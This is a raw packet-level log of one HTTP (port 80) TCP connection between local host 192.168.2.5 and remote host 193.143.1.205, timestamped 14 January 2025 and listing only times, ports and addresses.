Jan 14, 2025 10:55:01.136882067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136890888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136904001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136914015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136915922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136924028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136939049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136965036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.136976957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136987925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.136997938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.137017965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.137020111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.137039900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.137064934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.137106895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.137620926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175618887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175645113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175657034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175666094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175677061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175693989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175705910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175715923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175718069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175731897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175740957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175750971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175755024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175760031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175769091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175789118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175795078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175798893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175810099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175822020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175829887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175841093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175853014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175858021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175865889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175868988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175879955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175890923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175900936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175913095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175915956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175929070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175934076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175940990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175945997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.175951958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175962925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.175985098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176007986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176014900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176024914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176037073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176054955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176055908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176067114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176076889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176090002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176121950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176191092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176208019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176218033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176225901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176239967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176265955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176271915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176281929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176292896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176305056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176314116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176342010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176361084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176372051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176382065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176394939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176399946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176404953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176435947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176505089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176516056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176525116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176534891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176541090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176547050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176559925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176587105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176589966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176600933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176635981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176645041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176647902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176686049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176687956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176698923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176708937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176728010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176816940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176829100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176839113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176850080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176856995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176862001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176867962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176872015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176893950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176944971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176954985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176964998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.176985979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.176999092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177028894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177040100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177048922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177061081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177076101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177098036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177167892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177179098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177189112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177197933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177207947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177212954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177218914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177228928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177229881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177249908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177284002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177294970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177304983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177314043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177320957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177324057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177334070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.177342892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.177357912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.178332090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214354038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214380980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214394093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214405060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214412928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214417934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214428902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214440107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214447021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214451075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214463949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214474916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214481115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214485884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214495897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214497089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214508057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214515924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.214519978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.214555979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223521948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223536015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223552942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223562002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223571062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223572969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223583937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223591089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223596096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223625898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223644972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223647118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223658085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223665953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223681927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223683119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223691940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223701000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223711014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.223723888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.223752975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262320995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262334108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262343884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262367964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262377977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262399912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262401104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262413025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262423038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262463093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262473106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262482882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262522936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262533903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262564898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262564898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262564898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262600899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262609959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262619972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262625933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262629986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262640953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262650967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262655020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262655020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262684107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262783051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262793064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262800932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262816906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262825012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262828112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262856007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262859106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262866020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262876034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262885094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262912989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262933969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262943983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262952089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262963057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.262993097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.262993097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263015032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263020992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263031006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263055086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263058901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263093948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263122082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263132095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263139963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263149977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263159990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263159990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263179064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263243914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263254881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263273954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263277054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263307095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263336897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263345957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263355970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263379097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263463020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263473034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263482094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263492107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263501883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263506889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263510942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263521910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263545990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263686895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263696909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263705969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263715982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263724089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263725996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263737917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263747931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263750076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263765097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263784885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263792038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263794899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263808012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263818026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263827085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263828993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263838053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263847113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263850927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263856888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.263869047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.263891935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264054060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264064074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264074087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264082909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264091969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264098883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264103889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264113903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264117956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264143944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264206886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264216900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264225960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264235973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264245033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264249086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264255047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264260054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264265060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264273882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264283895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.264285088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264302969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.264328957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.272054911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.300807953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300843954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300860882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300877094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300888062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300899029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300910950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300920963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300934076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300945044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300956964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.300987005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.301014900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301019907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.301016092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301016092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301016092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301016092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301057100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.301105022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.301105976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310333967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310396910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310451984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310458899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310506105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310540915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310573101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310607910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310635090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310635090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310641050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310674906 CET	80	49704	193.143.1.205	192.168.2.5
